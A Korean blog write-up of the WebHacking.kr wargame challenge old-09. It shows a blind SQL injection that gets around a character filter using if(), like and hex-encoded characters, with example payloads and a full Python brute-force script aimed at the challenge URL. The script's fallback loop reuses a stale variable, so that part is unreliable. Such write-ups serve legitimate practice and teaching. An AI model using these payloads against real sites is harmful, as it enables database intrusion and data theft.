Search

WebHacking.kr Challenge old-09

목표 : Blind SQLi if()
1, 2, 3 클릭 가능한 페이지가 있고 각 페이지를 클릭하면 다음과 같은 화면이 나타난다.
no.3의 id를 구하면 password를 알 수 있다고 암시하고 있다.
입력 칸에 Secret을 입력하면 상단에 Get으로 인자가 그대로 나타난다.
실제로 메인 페이지 index.php 는 해당 기능 외에 다른 기능이 없다.
' " 공백 and or % & | < > = %09등을 대부분 필터링 해놨다.
이 중에서도 ( ) like이 가능한 걸 찾았다
즉 숫자만 입력되는 건 아닌만큼 이를 활용해 Blind SQL Injection이 가능하겠다.
아래와 같은 형태가 가능하다.
select id from chall9 where no = if(length(id)like(1),2,0)
SQL
복사
일반적인 If문이라면 id 값이 no에 영향을 받지 않겠지만 where문 안에 있는 값으로 length(id)=n 이 참일 때 나타나는 숫자가 no의 값이 되어 and 종속 관계를 지녀 no에 해당하는 id를 부를 것이다.
#0x41 = 'A' select id from chall9 where no = if(substr(id,1,1)like(0x41),3,0)
SQL
복사
no=3 에 해당하는 id의 길이는 쉽게 11이 나오고 위 쿼리를 통해 다음 비밀번호를 식별할 수 있다.
SQL에서 대문자와 소문자도 같은 문자라면 like= 에서 같은 문자로 표현하기 때문에 원래는 ordhex를 통해 정확한 문자의 값을 표현해야 좋다. 그러나 둘다 입력해보면 필터링 문자열로 어쩔 수 없이 위와 같이 표현했다.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Apr 6 09:01:57 2023 @author: absolroot """ import requests import time URL = 'https://webhacking.kr/challenge/web-09/?no=' c = {"cookie":"PHPSESSID=YOUR COOKIE"} TRUE_PHRASE = 'Secret' def query(payload): r = requests.get(URL+payload,cookies=c, timeout=300) content = r.text return TRUE_PHRASE in content def find_pw_length(no): pw_len = 1 while query("if(length(id)like({}),{},0)".format(pw_len,no)) is False: pw_len += 1 print('pw_len: {}'.format(pw_len)) return pw_len def find_pw(): r = requests.get(URL,cookies=c, timeout=300) pw_len = find_pw_length(3) result_pw = '' chk = 0 for pos in range(1, pw_len + 1): chk = 0 print("{->}"+"{}".format(pos)) for character in range(65, 133): c_hex = hex(character) if query("if(substr(id,{},1)like({}),3,0)".format(pos, c_hex)) is True: result_pw += chr(character) print(result_pw) chk = 1 break if chk == 0: for character in range(33, 65): if query("if(substr(id,{},1)like({}),3,0)".format(pos, c_hex)) is True: result_pw += chr(character) print(result_pw) break print('pw: {}'.format(result_pw)) find_pw()
Python
복사
이렇게 파이썬 코드를 짜고서 실행하게 되면 아래와 같은 결과가 나타난다.
해당 결과를 pw에 입력하면 아무런 변화가 없는데 앞서 언급한대로 소문자와 대문자를 동일 시 하기에 소문자인 경우도 테스트 해봐야한다.
자칫하면 2^11 회수의 시도가 필요했는데 다행히 그냥 소문자로 다 바꿔 입력하니 문제가 해결됐다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.